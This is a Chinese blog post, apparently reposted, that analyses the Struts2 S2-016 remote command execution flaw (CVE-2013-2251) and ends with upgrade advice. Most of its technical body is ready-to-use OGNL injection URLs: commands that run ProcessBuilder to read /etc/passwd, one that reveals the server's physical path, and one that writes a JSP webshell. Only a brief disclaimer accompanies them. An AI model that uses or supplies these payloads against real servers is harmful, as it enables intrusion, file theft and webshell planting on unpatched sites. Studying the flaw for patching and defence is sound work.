分享

struts2远程命令执行漏洞(s2

 dna26 2013-07-18
struts2远程命令执行漏洞(s2-016)分析及防范
2013-07-18 08:30:51     我来说两句       作者:阿德马
收藏   我要投稿
Struts2的官网在17号上午又公布了一个远程命令执行漏洞,随后各种版本的利用工具满天飞,对于wooyun和某些安全工程师童鞋来说,今天应该是备受压力和煎熬的一天!
 
17号上午11点空虚浪子心大牛的微博发了一条内容,随后经过各种大牛的转播,引爆了又一次的struts2远程命令执行漏洞换rank的浪潮!上一次struts2远程命令执行漏洞大爆发还要追溯到2012年5月份左右,同样wooyun上各种刷rank的,当时那些童鞋刷的rank如今已经升值很多了!1rank=10QB=10元rmb了.当时拼凑过一篇文章:http://www./Article/201206/138097.html
 
关于这次struts2远程命令执行漏洞(s2-016),官方是这样描述这个漏洞产生原因的:
 
Struts2的DefaultActionMapper支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致ongl表达式可以被执行。
 
空虚浪子新大牛是这么描述这个漏洞的:”在struts中,框架接收到的用户输入,除了参数、值以外,还有其他地方,比如文件名。这个漏洞,是struts2对url中的文件名做了解析,导致的ognl代码执行。”
 
该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15, CVE编号为:CVE-2013-2251
 
官方公布的漏洞利用poc细节如下:
 
1),简单表达式,ongl表达式被求值
 
http://www./struts2/x.action?%25(3*4)
 
http://www./struts2/save.action?redirect:%25(3*4)
 
2),命令执行
 
1,http://www./struts2/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
 
2,http://www./struts2/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
 
3,http://www./struts2/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
 
下面总结了一些漏洞利用的exp:
 
命令执行:
 
http://www./struts2/login.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
 
爆网站的物理路径:
 
http://www./struts2/login.action?redirect:${%23a%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23b%3d%23a.getRealPath(“/”),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}
 
getshell,写入jsp一句话:
 
http://www./struts2/login.action?redirect:${%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll(“\\\\”,”/”),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
 
以上利用方法转载自互联网,仅供学习了解struts2,不要用作非法,后果自负!
 
漏洞修复建议
 
官方强烈建议升级到struts2 2.3.15.1,该版本包含校正过的struts2核心库。
 
下载地址;http://struts./download.cgi#struts23151
 
有能力的公司,建议还是自己开发框架,不开源.一般的小菜白帽子也不可能黑盒测试获取相关漏洞,不像struts2开源的,各种挖洞大神都可以去读代码挖洞!POC一公布又是各种利用工具,稍微懂点软件使用的小菜都可以横扫各大网站了

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多